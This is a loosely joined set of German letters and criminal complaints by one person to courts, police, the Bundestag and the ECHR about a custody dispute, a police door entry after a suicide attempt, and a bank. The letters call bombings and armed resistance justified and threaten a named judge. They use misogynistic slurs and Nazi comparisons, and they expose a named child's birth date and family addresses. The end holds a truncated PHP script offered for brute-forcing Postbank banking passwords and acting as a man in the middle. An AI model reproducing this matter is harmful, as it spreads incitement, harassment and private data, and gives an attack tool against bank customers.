der Willy-Brandt-Allee 20 in D-65197 Wiesbaden.
unter dortigem
Aktenzeichen 479.070239.1 PTLV Wiesbaden in Verbindung mit
VNr. GAW/1467212/2014) 5. Polzeirevier Frankfurt a.M.
Das Präsidium hat mit Schreiben vom 22. Mai 2015 hier mit einfacher Post am 29. Mai 2015 zugegangen behauptet man habe meine Wohnungs-tür eintreten müssen weil man - so steht es im Einsatzbericht vom 1. Weihnachtsfeiertag, dem 25. Dezember 2014 ? nur so einer erheblichen Gefahr die für die Beamten bestanden habe, begegnen zu können, die mich so nötigen wollten - entgegen einer Ihnen schriftlich und nachweislich zur Kenntnis gebrachten gültigen Patientenverfügung die jede Form lebensverlängernder medizinsicher Behandlung ausschließt wegen eines Suizidversuches behandeln zu lassen. Man hatte seitens des Oberlandesgerichtes so viel Taktgefühl gehabt mir per Boten am 24. Dezember 2014 nach 14 Jahren juristischer Auseinandersetzung um das Sorgerecht für meine Tochter zu der mir die Mutter ebensolang jeglichen Kontakt und über die sie mir Nachricht verwehrt.
Ich habe das
PTLV mit Email vom 29. Mai, Fax und Einschreiben vom 30. Mai daraufhin
davon in Kenntnis gesetzt dass keine Gefahr für die Beamten bestanden
habe sondern wenn überhaupt dann Gefahr für mich und für diese habe ja
die Patientenverfügung jegliches Ein-greifen bereits im Vorfeld
untersagt.
?/-2-
-2-
Frau Bradley ist nun ? soeben am 03. Juni 2015 erreicht mich Antwortschreiben vom 01. Juni 2015 - ebenfalls der Meinung dass es sich allenfalls um eine Gefahr für mich gehandelt haben kann weshalb die Tür Nummer 24 geöffnet ( - kein Adventskalender -) wurde und das auch nicht zum ersten mal.
Ich bin stink sau_er!
So viel wie das kosten oll bekomme ich
an H(artz)IV für einen ganzen Monat.
Nachdem ich mich bei einem Einsatz am 23. Mai 2013 gegen Polizei-gewalt notgewehrt habe muß ich nämlich mit polizeilichen Racheakten rechnen. Ich füge Fotos bei wie mich seinerzeit die Polizisten im Rahmen einer Putativnotwehr zugerichtet haben!
Nun, da ja für die Beamten ? anders als diese zunächst behaupten ? keine Gefahr bestanden hat und bei meiner angenommenen Eigenge-fährdung der mit der Zuführung zu medizinischer Hilfe begründete Einsatz mit irrtümlich angenommener Gefahr im Verzuge nicht mit meiner Patientenverfügung Einklang zu bringen ist gehe ich davon aus dass das PTLV sich irrt und kein die Sachbeschädigung rechtfert-igender Einsatzgrund vorlag.
Mir wäre auch lieber gewesen mein Selbstmordversuch wäre erfolgreich gewesen dann hätte ich den Ärger jetzt nämlich nicht.
Die
Rechnung möchte ich dennoch nicht bezahlen, immerhin wäre das mein
volles H(artz)IV, sagen Sie das dem Polizeichef: Herr_R_ein
bevor er mit der Tür ins Haus oder vielmehr die Wohnung fällt.
Ich füge dieser Klage meinen Schriftverkehr mit dem PTLV bei.
ich
wollte dem PTLV vorprozessual sozusagen ?zur Güte? nochmals
anbieten die Forderung von sich aus zurückzuziehen nachdem man
dort meine Darstellung des Sachverhalts gehört hat.
Maximilian Bähring
FAX wie es ein Legastheniker/ADHS-Kranker schreibt.
Bundesverfassungsgericht
- Erster Senat -
Bundesverfassungsgericht Postfach 1771 76006 Karlsruhe
Herrn
Maximilian Bähring
Hölderlinstraße 4
60316 Frankfurt am Main
Aktenzeichen Bearbeiterin (0721) Datum
1 BvR 50/15 Frau Kühn 9101-419 27.05.2015
(bei Antwort bitte angeben)
Verfassungsbeschwerdeverfahren 1 BvR 50/15
Ihr Schriftsatz und Telefax vom 13. Mai 2015
Sehr geehrter Herr Bähring,
auf Ihre Schreiben teile ich Ihnen in richterlichem Auftrag Folgendes mit:
Sie
wurden bereits mit Schreiben vom 13. März 2015 darauf hingewiesen, dass
das Verfassungsbeschwerdeverfahren 1 BvR 50/ 15 durch den
Nichtannahmebeschluss vom 27. Januar 2015 endgültig seinen Abschluss
gefunden hat. Ihrem Schreiben ist zu entnehmen, dass Sie davon ausge-
hen,
dass das Bundesverfassungsgericht falsche Informationen an den
Europäischen Gerichtshof für Menschenrechte weitergeleitet hat. Hierzu
stelle ich fest, dass aus den Akten 1 BvR 50/ 15 eine Korrespondenz mit
dem Europäischen Gerichtshof für Menschenrechte nicht ersichtlich ist.
Im
Übrigen darf - zur Vermeidung von Wiederholungen - auf unser Schreiben
vom 13. März 1 V 2015, insbesondere den letzten Absatz, hingewiesen
werden.
Mit freundlichen Grüßen Beglaubigt
In Vertretung
Regierungsdirektor Regierungsoberinspektor
Dienstgebäude: Schlossbezirk 3, 76131 Karlsruhe
Postfach 1771, 76006 Karlsruhe
Telefon 0721/9101- O 6 Telefax 0721/9101-382
?
Maximilian Baehring
Hoelderlinstrasse 4
60316 Frankfurt a.M.
Germany
maximilian@baehring.at
Fax: +49 (0) 69/6781346
Bundesverfassungsgericht
Postfach 1771
76006 Karlsruhe
13. Mai 2015
Verfassungsbeschwerde ? Unterschlagung von Aktenbestand-
teilen einer Verfassungsbeschwerde durch Gerichtspersonal?
1 BvR 50/15 Bundesverfassungsgericht (beigefügt)
Meines Wissens nach gibt es im deutschen Familienrecht die Instanzen Amtsgericht, Oberlandesgericht und darüber hinaus ist nur die Verfassungsbeschwerde möglich.
Ich habe nun gegen erstinstanzliche Entscheidung des Amtsgerichtes Bad Homburg v.d.H. in
92F
493/13 SO (zuvor beim Amtsgericht unter anderem auch 96 F 493/13 SO und
95 F 493/13 SO) beim Oberlandesgericht Frankfurt a.M. Beschwerde
eingelegt, das Aktenzeichen dort ist 3 UF 70/14. Gegen diese
Entscheidung habe ich dann in goßer Eile Verfassungsbeschwerde
eingelegt,und zwar:
weil mir des Falschvowurfes und Terrors meiner
Ex wegen, ich würde Drogen nehmen und weil diejenigen Beamten und
Juristen die diesem - inzwischen nachweislichen - Falschvorwurf zunächst
Glauben geschenkt und mich zwecks Erfolterung psychiatrischer
Drogen-Gutachten zu Unrecht interniert haben nun versuchen mich
(mund-)tot zu machen - ein Vertuschungsversuch - um nun nicht selbst
wegen Nötigung, falscher Verdächtigung und willkürlicher
Freiheitsberaubung einge-sperrt zu werden und zwar weil sie mich im
Rahmen der auf den Falschvorwürfen gründenden Verhaftung
zusammengeschlagen und schwerst verletzt haben und das ganze auch noch
mit Ankündigung nachdem ich bereist Vorher mit Petitionen ? unter
anderem ans Europäische Parlament ? auf die skandalöscen Zustände beid
er deustchen Polizei hingewiesen hatte, also mit ziemlicher
Wahrscheinlichkeit einem Versuch Rache zu nehmen, permanent erneute
willkürliche Verhaftung droht sende ich Schreiben immer bereits im
Entwurfsstadium heraus, damit Sie die Gerichte erreichen noch bevor ich
Opfer neuerlicher staatlicher Repression werde und eventuell gar nicht
mehr schreiben kann. Außerdem ist im jahre 2013 meien
VoIP-Telefeonanschluß gehackt worden so
daß ich mir nicht sicher
sein Kann ob meine Faxe wirklich ankommen oder vom Provider oder Hacker
ausgefiltert werden. Daher sende ich jedes Fax nochmals postalisch als
Brief. Deshalb ging die Verfassungbescherde 1 BvR 50/15 in insgesamt
drei Vorabversionen nach Karlsruhe. Einem der Vorab-Faxe vom 29.
Dezemeber 2014 um etwa 16:18 bis 16:28 Uhr (siehe nächste Seite oben)
fügte ich die Entscheidung des Oberlandesgerichtes bei. Eine Störung
(auf meiner neuen VoIP-Leitung?) machte mir ein versenden von Faxen an
das BVerfG unmöglich
?/-2-
-2-
Also nutzte ich das
Webinterface von easyBell. Hier funktionierte der Versand der vollen 11
Seiten also inklusive der angefochtenen Entscheidung. Ich füge das ganze
zum Nachweis hier bei als Auftrag mit Kopie des versandten ?Originals?
also inklusive der Enstcheidung und Kopie der Versende-bestätigung.
Nachher verwies ich das Gericht in der ?vorläufig finale? Version
vom 22. Januar 2015 auf die drei Vorabversionen meiner Eingabe per Fax
und Einschrieben. Ich zitiere wörtlich [sic!]:
Fristbedingte Vorabversioenn der Verfassungsbeschwerde sind
Ihnen als Fax und Einschreiben Rückschein zugegangen!
In Sachen Verfassungsbeschwerde 3 UF 70/14 OLG Frankfurt /M.
gingen Ihnen FRIST- und FORMGERECHT bisher zu:
Einschreiben/Rückschein 30. Dezember 2014 RA 4343 7085 9DE
Beim
Fax vom 29. Dezember 2014 um etwa 16:18-16:28 Uhr handelt es sich nun
um jene Eingabe die Ihnen nochmals als VORABversion des
Einschreiben/Rückschein 30. Dezember 2014 Nummer
RA 4343 7085 9DE
zugegangen ist! Das elfseitige Vorab-Fax enthält dabei nachweislich die
angefochte Ent-scheidung. Damit ist die eine eventuelle Information des
Bundesverfassungsgerichtes an den EGMR dic ich da herauslese ? die
angefochtene Entscheidung sei nicht beigefügt gewesen - schlicht und
ergreifend erlogen. Und mit der angebich unvollständigen Eingabe
rechtfertigt man in Karlsruhe nachher wohl Verfahrenseinstellung ohne
jegliche Begründung in 1 BvR 50/15 Bundesverfassunggericht gegen die ich
in 11314/15 beim Europäsichen Gerichtshof für Menschenrechte in
Starssbourg (ECHR-Lger11.OOR) und in G/SO 215/51 DEU (GEN) beim Uited
Nations -High-Commissioner of Human Rights vorgegangen bin.
Das
verletzt mein Recht auf ein faires Verfahren nach Artikel 19 (4)
Grundgestz ebens wie das Recht auf ein faires Verfahren in Artikel 6
Europäischer Menscherechtskonvention i.V.M Artikel1 (2) GG.
Hirgegegn lege ich Bescherde ein!
Anlagen: easybell Fax-Sendebericht / Kopie des Faxauftrages (12 Seiten als ?Miniaturen? auf 1 Seite)
angefochtene Entscheidung 1 BvR 50/15 Bundesverfassunggericht vom 27. Januar 2015
SAT-AUSLEUCHTUNGSBERECIH: Im Internet springen wir über mehrere Netze.
Das
ist als ob wir eine australischen Sateliten den wir nicht direkt
sehen können weil er über der anderen Erdhalbkugel ?steht? und von
usneren Sateliten aus gesehen durch die Erde (Erdscahtten) verdeckt wird
mittels eiens dritten Sateliten, den jeweils die beiden sehen (also der
australische und unserer) sagen wir eiben russischen! Das ist als ob
man mittels eines Spiegels um die Ecke (oder nach hinten) schaut.
Warnung: Geldautomat Sonnemanstraße - ewiges Geräusch vom Laufen
des
Zählwerkes - dann die Meldung: ?Der Vorgang wurde aus technischen
Gründen abgerochen?! Auf dem Kontoauszug ist das auch
DIESMAL ersichtlich, das war bei dem Automaten dort auch schon
anders, da musste man
sich erst schriftlich beschweren bis man wieder ans ein Geld kam!
Maximilian Bähring
Hölderlinstraße 4
D-60316 Frankfurt a.M.
Fax: +49/(0)69/678341634
maximilian@baehring.at
Europäischer Gerichtshof
für Menschenrechte
F-67075 Strasbourg 09. Juni 2015
Nachreichen Schreiben des Bundesverfassungerichtes Karlsruhe vom 27., hier eingegangen am 01. Juni 2015 einer zu meiner Eingabe an den Europäischen Gerichtshof für Meschenrechte vom 13. Mai 2015
Weiterhin erhalte ich die Rückscheine meiner Einschreiben an den Gerichtshof nicht. (Das ist aber noch vernachlässigbar, immerhin werden mir auf gleichem Wege Wahlunterlagen vorenthalten oder es verschwinden auf dem Versandwege Festplatten mit Fotobeweisen für exzessive Polizeigewalt). Die Deutsche Polizei und Gerichtsbarkeit weigert sich nicht nur ihre arbeit zu machen, nein Strafanzeigen wandernd dort direkt in den Papierkorb insbesondere wenn es darum geht Korruption zu bekämpfen oder Beamtenkriminalität wie Rechtsbeugung oder unterlassene Hilfeleistung, von der brutalen Polizeigewalt gegen wehrlose Behinderte ganz abgesehen. Und Erhalt von diesem Rückschein wollte ich warten bevor ich ihnen nun den Anhang zu meiner weiteren, 86 seitigen Menschenrechtsbeschwerde datiert auf den 13. Mai 2015 nachreiche, die zum Inhalt hat dass man mir auch dann Prozesskostenhilfe für einen Anwalt verweigert wenn ein Anwaltszwang Formvoraussetzend ist für Revision, Berufung oder Klag-erzwingungsverfahren.
Während andere ? Großkonzerne mit eigener Rechtsabteilung - sich den 1,5 fachen Satz BRAGO/RVG für einen externen Anwalt holen dürfen um mich zu verklagen wenn erstinstanzlich gar keine anwaltliche Vertretung vor Gericht erforderlich ist.
Deutsche Anwältinnen sind nur daran interessiert dass wenn es Gleichstellung beim Sorge-recht Unverheirateter gebe dann müssten die unverheiratete Männer Gleichstellungstechnisch auch ausgenommen werden dürfen können wie Ex-Ehemänner ? das sagte wörtlich und vor Zeugen die Bad Homburger Rechtsanwältin Birgit Meissner von Schulze Fischer Backhausen im Schwedenpfad bevor sie eine Zusatz-Honorarvereinbarung über 3.000 DEM für ein Anwaltschreiben wegen akuter Umgangsverweigerung erpressen wollte, weil, in Bad Homburg ? da könne ich mich darauf verlassen ? der ?Wettbewerb? der Kanzleien und Anwälte so aussehe niemand für BRAGO arbeiten würde.
Zurück zum nachgereichten Anhang: Es ist für mich genauso unvorstellbar wie für Sie aber die Menschenrechtsverbecher beim Bundesverfassungsgericht in Karlsruhe sind der Meinung (als) Behindert (diffamiert)e hätten wie unter Adolf Hitler als (bei genetisch bedingter Behinderung) rassische Untermenschen keinerlei Menschenwürde. Denn selektiv stellen sie sich hin und verweigern bestimmten Klägern einfach die Entgegenahme von Klagen. Das ist Rechtsverweigerung und Willkür wenn man als Staat einfach der Nase nach entscheidet ob der Richter der ein Gebietsmonopol auf die Ausübung der Rechtssprechung haben will im Einzelfalle Lust hat einen Bürger zu seinem Recht kommen zu lassen oder abhängig von persönlicher Anti- oder Sympathie.
Tatsächlich haben diese VERBRECHER nach 14 Jahren Sorgerechts- und Umgangs-verweigerung ,die der Tatsache geschuldet ist dass der deutsche Gesetzgeber ungestraft im § 1626a BGB behaupten kann daß jeder Vater vom Geschlecht her als Mensch automatisch ein schlechterer Elternteil sein soll als eine Mutter für 16 Seiten Schriftsatz nebst vorab per Fax übermitteltem OLG Urteil nur ganze anderthalb Zeilen übrig mämlich: ?Die Verfassungsbeschwerde wird nicht zur Entscheidung abgnommen.? ?Begründet? mit dem Halbsatz ?Von einer Begründung wird ? abgesehen.?
Es
handelt sich nicht um ein Versehen - die sind so unverschämt und
rechtsbeugend. Es handelt sich somit nicht um einen Informationsfehler
sondern die schmeißen Klagen bestimmter Beschwerdeführer einfach weg
anstatt sie zu bearbeiten. Das sind dann die Untermenschen, genau wie
die nicht christlichen Juden, und die geistig Behinderten bei deren
Vergasung die deutsche Justiz 1933-45 schonmal beigeholfen hat.
Stauffenberg und Elser hatten in ähnlicher Situation Recht: solche
Zustände sind am besten mit Sprengstoff zu beseitigen das rechtliche
Abhilfe ? etwa durch Verweigerung eines Anwaltes - nicht möglich ist.
(Artikel 20 Absatz 4 Grundgesetz)
http://www.openstreetmap.org/#map=18/50.11615/8.69770
Da
geht es wieder nur ums Geld. Ds Problem mit poltischen Kampagnen ist
daß irgendwelche Stasi artigen parteifunktionäre bei jeder sinnvollen
Bürger-initative das Anliegen sofort von ein paar Bettelsüdosteruopäern
kapern lassen damit niemand an der Macht der etablierten Gewerkschaften
und Parteien kratzt.
Maximilian Bähring
Hölderlinstraße 4
60316 Frankfurt a.M.
Deutscher Bundestag
Platz der Republik 1
11011 Berlin
Petition
9. Juni 2015
Hiermit beantrage ich die Polizei in GESTAPO oder STASI umzubennen.
Dadurch soll erreicht werden dass inhaltlicher Auftrag und tatsächliche Tätigkeit dieser Institution in Einklang gebracht wird mit einem Namen den die Bevölkerung für solche Methoden kennt.
Es ist grob irreführend und erweckt in der Bevölkerung ein mit der Realität nicht in Einklang zu bringendes von den Systemmedien geschaffenes wohlgemerkt idealisiertes Bild die ?deutschen Beamten? noch ?Polizisten? zu nennen. Diese Verbrecher haben mit Polizisten aus positiver Darstellung etwain kriminaklromanen oder Frensehserien NCIHST aber absolut gar nicht zu tun.
Es gehört zu den menschenrechtlich und grundgesetzlich verankerten Rechteneines jeden BÜRGERs sich gegen Akte der Staatsimacht zur Wehr zu setzen.
Einen einfach mal so in Terrordateien
aufzunehemn weil irgendeine ?Amtsanwältin? das meint ist ejdenfalls eien
bodelose Frechheit und wird dazu führen dass friedliche Menschen sich
notfalls mit Waffengewalt und Sprengstoffanschlägen zur Wehr setzen wie
die verafssung das ausdrücklich erlaubt gegen ein
solches NAZI Regime.
zynisch ironscher ?Gruss aus Deutschland?
Herr/Maennlich - G|ö|hring
Maximilian Bähring
Hölderlinstarße 4
60316 Frankfurt a.M.
to whomever it may concern
Strafanzeige wegen des nachweislichen Betruges und der Hehlerei und der Untreue
Für Sachschäden die auf Krawalle zurückzuführen sind die daraus resultieren dass die Mitarbeiter der Frankfurter Sparkasse 1822 ihre Arbeit dahingehend nicht oder nicht vernünftig machen weil es bei Ihnen unmöglich ist, wie das etwa beim Internet-Bezahldienst Paypal üblich ist, sozusagen bankkundenseitig Einzugsermächtigungen im Bankrechner selbst sperren zu können vergibt die Sparkasse eigenmächtig Kredite an (aufständische Bürger-)Kriegsparteien, sie will sozusagen Zahlungen für Kredite aus denen Schäden reguliert wurden die aus Kriegshandlungen resultieren bei den Kombattanten einfordern. Genau deshalb ? Repartionszahlungen - ist schon Adolf Hitler an die Macht gekommen.
Konkret verdächtigt man einen Nachbarn der sich über überhöhte Gebühren weil ihm seien OnlinebankingPIN/TANs nicht zusandte und er deshalb darauf angewiesen war ?händisch? Überweisungen gegen Gebühren zu tätigen mehrfach echauffiert hatte und sich zudem darüber aufregte dass ihm sein Internetanbieter drohte ?den Saft abzudrehen? wenn er nicht den vollen ? strittigen - Rechnungsbetrag per Bankeinzug abbuchen ließe statt lediglich den unstrittigen Teil der Forderung, etwa die unstrittige Grundgebühr des Internettelefonvertrags und diesen aus sicht der Internetanbieter ?vollen? Betrag stets abbuchte.
Wobei dahingehend dieser Abbuchungsversuch betrügerisch war als er bei (Hanse-net/Alice) keine Mc-Affee-Virenscanner Option gebucht hatte und man ihm bei der Hotline des Anbieters VERWEIGERTE diese abbestellen zu können und die Möglichkeit der Änderung über eine Kundendienstwebsite nicht funktionierte. Genau wie man vorher schon seitens eines anderen Providers (Freenet) versucht hatte für einen Vertrag der dahingehend betrügerisch zustande gekommen wat dass für diesen keine Einzugsermächtigung existierte und auch kein Auftrag da war eine Drückerkolonne die Nachbarschaft aufgehetzt hatte auf seinem Anschluß Gebühren zu verursachen damit der nicht unterschriebene Vertrag so durch Nutzung konkludent zustande käme!
Es ging also darm dass man zuviel Geld abbuchte. Und es ging darum dass die Bank UNVERSCHÄMT war und meinte wenn er das Vertragsverhältnis beende und es werde weiter abgebucht sei das sein Oroblem und er solle sich die 6 Euro die jede Rücklastschrift kostet eben bei dem Drückerkollonnen einklagen!
Mehrfach gabe er nachweislich schriftlich Aufträge an die Bank didaß die Einzusgermächtigng wiedrrufen sei die diese einfach ignorierte.
Daraufhin rief er die Polizei da es sich um einen Betrugsversuch mit Vermögensschaden und organisierter Kriminalität handle. Man lachte ihn aus. Man würde seitens der Polzei nicht tätig werden. DIE KORRUPTEN SCHWEINE VERWEIGERTEN SICH ? WIE IMMER - IHRE BEMATENARBEIT ZU MACHEN UND HALFEN SO TATVORSÄTZLICH WISSENTLICH UND WILLENTLICH STRAFTATEN BEI. Genau wie übrigens die Polizei trotz Gesundheitsgefahren bei seinen zeitgleichen Versuchen die Wasserversorgung des Mietshauses wieder herzustellen weigerte tätig zu werden.
?/-2-
-2-
Es vleen hierbei wörtlich Formulierung wie: GEHEN SIE DOCH IN DEN PARK AN DEN BRUNNEN WENN SIE WASSER BRAUCHEN. Oder für JEMANDEN WIE MICH/SIE MACHEN WIR VON DER ? Monopol/Kartell - POLIZEI GAR NICHTS.
Hintergrund war dass er die Beamten strafangezeigt hatte, Aktenzeichen 3 ZS 1795/08 Generalstaatsanwaltschaft Frankfurt a.M. und Dienstaufsichtsbeschwerden gegen mehrer Statswnaälte, Richter und vor allem Polizisten liefen. Außerdem wollte man sich aus politishcne Motiven bei ihm rächen. Seieneltern hatten den Bau eienr Klärschlamm-trockkungsanlage für den Umlandverbad Frankfurt a.M. ind emd er Versorger Moaniva ist verhindert.
Daraufhin hat der Antragsteller dem Polizisten NACHWEISLICH gesagt wenn sie sich weiter weigern Starfaneziegn entgegenzunehmen dann werde ich nun wohl auf anderem Wege dafür sorge tragen müssen dass Sie es tun.
Dann werden die wütenden Leute nämlich die Banken plündern um ihr Geld da rauszuholen bevor es die korrupten ?Bankiers? veruntreuen können.
Der Rest ist bekannt. Für den Sachschaden aus dem unkonventionellen Notruf per Bankgroßalarm will die FraSpa1822 jetzt Geld. Vermeintlich großzügigerweise geht sie dabei hin und gibt dem Beklagten einen Zwangskredit in Höhe von 5% über dem Basiszinssatz. Die Bank selbst besorgt sich aber bei Ihren Anlegern das Geld zu 0% Zinsen auf den Girokonten. Also macht Sie mit Hehlerware (Kredit aus Straftat (nach dem Völkerrecht?)) einen illegalen Zinsgewinn in Höhe von 5%, nämlich der Differenz zwischen dem Geld zu dem die Anleger der Bank das Geld bereit-stellen und dem Betrag den Sie dafür selbst ihren Anlegern ?worst- respektive best case? zahlt.
Außerdem ist der Schaden - so wir der Darstellung der Banker glauben wollen - ja wahrscheinlich diesen nur deshalb entstanden weil diese schuldhaft drohten Gelder zu veruntreuen und der Bankkunde in Gefahr im Verzug in einer symbolträchtigen Nacht und Nebel-Aktion sein Geld aus dem Saftladen Frankfurter Sparkasse holen musste bevor es bei Drückerkolonnen versickert.
Und dazu kommt noch dass er einem unverschämten Menschenrechtsverachtenden Bundesregierung NACHWEISLICH 2001 mehrfach den Bürgerkrieg erklärt hatte weil eine Jurstinnenkartell ? (Nebenberufs/nutti mit Gewinnerzielungs-absicht? Wie die total überfprderte Schei+ebauenden ?Seteurberaterinnen? die mir ein Kudne empfohlen hatte) auf Abnötigung von Honorarvereinbarungen meinte Männer wären irre wenn Sie sich um die Erziehung ihrer Kinder kümmern wollten satt nach eigenen Bekunden fremdgehende Schlampen mit Gewinnerzielungsabsicht (= NUTTEN) die den Unterhalt fürs Kind in Esoterik-Sekten verjubeln dafür zu bezahlen Kinder so zu erziehen wie sie es als Vater ausdrücklich nicht wollen. Dabei hat die unverschämte Huristin sich auf die Position gestellt die Mutter sei ja legitimerweise so was wie der Nazi-Übermensch der mit dem als geistig behindert verleumdeten Vater so umspringen könne wie Nazis das eben mit Behinderten und Juden gemacht haben.
Außerdem müsse der Vater ja erstmal nachweisen nicht geisteskrank zu sein.
Mit
ihren üblen Verleumdungen hat Sie ihm dabei einen NACHWEISBRAEN
VERMÖGENSSCHADEN aus entgangene Gehalt von in etwa 1 Mio DEM als ewa 0,5
Mio Euro aus entgangenem gehalt evrurscaht. 40 TSD Euro brutto im Jahr!
A propos JuristINNEN: Die Banksteer haben zwar eine ausf das einklagen von Krediten spezialisierte Rechtsabgtielung aber anders als der Beklagte genehmigen die sich dafür auch noch einen estrenen Anwalt wo gar keiner von Nöten ist nämlich in erster Instanz. Ich würde da keien Prozesskostenhilfe bekommen. Nichtmal als Beklagter.
Maximilian Bähring
Hölderlinstraße 4
D-60316 Frankfurt a.M.
Fax: +49/(0)69/678341634
maximilian@baehring.at
Oberlandesgericht Frankfurt a.M.
Zeil 42
D-60313 Frankfurt a.M.
10. Juni 2015
92 F 487/14 AG Bad Homburg v.d. Höhe SOFORTIGE BESCHWERDE SOREGRCHTSENTZUG der
elterliche Personensorge für MEIN Kind Tabea-Lara Riek geboren am 19. September 2000 der Mutter
Uta Brigitta Riek, Hauptstraße 15, 61267 Neu ?Anspach, vormals Lindenalle 2, 61350 Bad Homburg
Soeben 10. Juni 2015 erreicht mich förmliche Zustellung einer neuerlichen Unverschämtheit des Amtsgerichtes Bad Homburg v.d. Höhe, datiert auf den 02. Juni 2015 im geöffneten und wieder-verschlossenen Briefumschlag, so wie wird as gewohnt sind von dieser SCHLAMPIGEN Poststelle.
Typisch diese KORRUPTE bereits mehrfach starfangezeigte ?Amtsrichterin? KOERNER, wir entscheiden
mal
wieder trotz BEFANGENHEIT ohne Anhörung und/oder Sachvortrag- ARTIKEL
103 GG! Und wzar Weil ?wir? Schiß haben dass uns der Kläger für diese
Rechtsbeugung ungespitzt in den Boden schlägt und zwar zu Recht: ARTIKEL
20 ABSATZ 4 GG. Und genau das wird auch passieren. Nur mach ich mir ?
ganz Pontius Pilatus ? selbst dabei nicht die Finger schmutzig sondern
lasse andere machen.
Ich erstatte Strafanzeige zu Protokoll des Amtsgerichtes gegen das Fräulein Richterin wegen Rechtsbeugung und Beihilfe zur Kindesentziehung gegen Vorteilsnahme. Der Richterin wird hierbei vorgeworfen Jugend-amtsmitarbeiern zu Posten verholfen und Anwältinnen ORGANISIERT KIRMINLELL Vermögensvorteile verschafft zu haben und zwar allein dadurch das Verfahren entweder nicht oder nur schleppend der gar parteiisch bearbeitet und dadruch das Inanspruchnehmen anwaltlicher Hilfe erforderlich gemacht zu haben.
Gegen die ?Entscheidung? lege ich das Rechtsmittel der sofortigen Beschwerde ein. Eine Amtsrichterin der als einzige Begründung für den Müll den sie verzapft einfällt dass Sie und Väter als minderwertige Elternteile ansehen ARTIKEL 1 GG und ARTIKEL 3 GG, und daß sie ja den Kontakt zwischen Vater und Kind allein schon durch ihre strafrechtlich relevante kriminelle Verhandlungsführung seit mehr als 10 Jahren verhindert.
Die
Kampf-Emanze/Feministin Richterin will aller Welt zeigen: Ein Vater der
ein Sorgerecht beantragt ist ein kranker Idiot weil allein einer /Nutti
Gelder für Kindererziehung zustehen für die ein rechtloser Erzeuger
Sklavenarbeit zu leisten hat und ansonsten die Fresse zu halten, denn
?dein Kind siehst Du nie wieder?. Das eine Erziehung des Kindes durch
den Vater von Anfang an es Mutter, Jugendamt und Juristen es unmöglich
gemacht hätte Geld für die Entführung des Kindes abzupressen handelt es
sich um massivste staatliche Korruption. Sie hat alles getan um den ater
zu verleumden und zu provozieren. Sie hat ZU RECHT erkennbar massivst
SCHLECHTES GEWISSEN und PARANOIDE Angst vor dem UNGERECHT BEHANDELTEN
Kläger.
Schon von ihrem damaligen Stefan Mojschewitsch her Ex-Freund
erzählte sie permanent WIRRE und vollständig an den Haaaren
herbeigezogene (hab ich recherchiert) IRRE Verfolgungseschichten.
Das Jugendamt postuliert einfach mal so ohne weitere Anhörung es gebe keien Kindswohlgefährudng.
Worauf es diese ?Erkenntnis? stützt (göttliche Eingebung, Scientology Reiki-Channeling) ist nicht ersichtlich.
Wer ein Kind 12 Jahre lange dem Vater vorenthält ist unter gar keinen Umständen geeignet ein solches zu erziehen. Allein das rechtfertigt den vollständigen Entzug des Sorgechtes. Außerdem hat die Kidnesmutter in ihrem religiösen esoterischen WAHN den Kindesvater zusammenschlagen lassen. Es kann ja auch nicht angehen dass ein mämnnlicher Untermensch wie die nicht christlichen Juden die nicht an die jungfräuliche Emfpängnis glauben ? zur Recht wie wir wissen - bei den Nazis und vermeintlich behinderter Mann (die haben deutsche RichterINNEN übrigens auch ganz gern mal vergast wenn es nicht genug der christlichen Demütiogung/Benachteiligung war) es wagt in die der privilegierten Herrinnenrasse der Religiond er vaterlosen kidnesempfängnis die Pfründe streitig zu amchen. Sonst kommen Moslems am Ende ncoh auf die Ide ihre Kidner gar nicht taufen lassen zu wollen wenn man so Leuten Sorgrecht zugesteht.
Strafanzeige Onlineaktenzeichen: 1433963988894
Sachverhalt
per Fax an das Polizeipräsidium KASSEL - INTERNE ERMITTLUNGEN -
siehe
992 BS 7/13 AG Frankfurt a.M. durch beamtliche Postunterschlagung nicht
zutandegekomemndes Verfahren gegen Prügelnde Beamte!
SO EINE FRECHHEIT!
BEI DER POLIZEI heisst jeder anonyme Anrufer BÄHRING! Droht man denen
OHNE
DEN NANEM GENANNT ZU HABEN für ihr Nichtstun dienstrechtliche
Konsequenzen an heisst es ?Ach Herr Bähring ?? und dann wird einagch
aufgelegt.
Verlangt man den Vorgetzten zu sprechen wird ebenfals einfach aufgelegt.
WOHER
WEISS DER PENNER MEINEN NAMEN WENN ER NICHT AN MEINER LEITUNG
MANIPULIERT? ICH ERSTATTE DAHER STARAFZEIGE GEGEN DIE DREI BEAMTEN IN
DER 'VERMITTLUNG? 069/55-0 DIE UM 21.00 VERSUCHT HABREN STARFENZEIGEN
MIT DIENSTRECHTLICHEN KONSEQUENZEN GEGEN BEMATE ZU UNTERBINDEN IN DEM
TELEFONATE ABGEFANGEN WURDEN!
http://40.media.tumblr.com/20c12ca96e2d058980703f772ce8958a/tumblr_npqmrkVw7F1sofvubo5_1280.jpg
POST
WIRD JA AUCH UNTERSCHLAGEN. SO VERHIDNERN DIE SCHWERST KORRUPTEN
BEAMTEN DIE STRAFRECHTLICH VERFOLGUNG IHRER RECHTSBEUGERISCHEN
DIENSTRECHTLICHEN VERGEHEN.
Die Postbank asswörter fürs Onlinbanking sind ja [A-Z0-9] mit midnestens 5 Stellen Länge, die Kontonummer (eines Gegenübers) bekommt man ja einfach heraus. Für den Fall dass jemand mal per Scirpt sein verlorenes Passwort wieder herstellen muss folgender code in PHP so daß er leicht in einen Proxy zu integrieren ist, etwa um selbst als MAN IN THE MIDDEL als Pestbank aufzutreten! In die vorletzte Zeile muss das per brute force ermittelte passwort: postbank("285969607","GEHEIM"); Das Script gibt bei Erfolg den Kontostand aus, ... mal so als Anfang ... https://banking.postbank.de/rai/login*/ function readheader($fres) { $nhdr = 0; $sshdr = ""; while (true) { $shdr .= fread($fres, 1); $nhdr += 1; if ($nhdr >= 4) { if (substr($shdr, ($nhdr - 4), 4) == "\r\n\r\n") { break; } } } return $shdr; } function headervalue($shdr, $sfld, $case = true) { $sval = ""; $sprv = ""; $aHDR = explode("\r\n", $shdr); $nHDR = count($aHDR); $nhdr = 0; while ($nhdr < $nHDR) { $ahdr = explode(":", $aHDR[$nhdr], 2); if (count($ahdr) == 2) { $sprv = $ahdr[0]; } else { if (($sprv != "") && ($ahdr[1] == "")) { $ahdr[1] = $ahdr[0]; $ahdr[0] = $sprv; } } if ($ahdr[0] == $sfld) { if ($sval != "") { $sval .= "\r\n"; } $sval .= $ahdr[1]; } else { if ($case != true) { if (strtolower($ahdr[0]) == strtolower($sfld)) { if ($sval != "") { $sval .= "\r\n"; } $sval .= $ahdr[1]; } } } 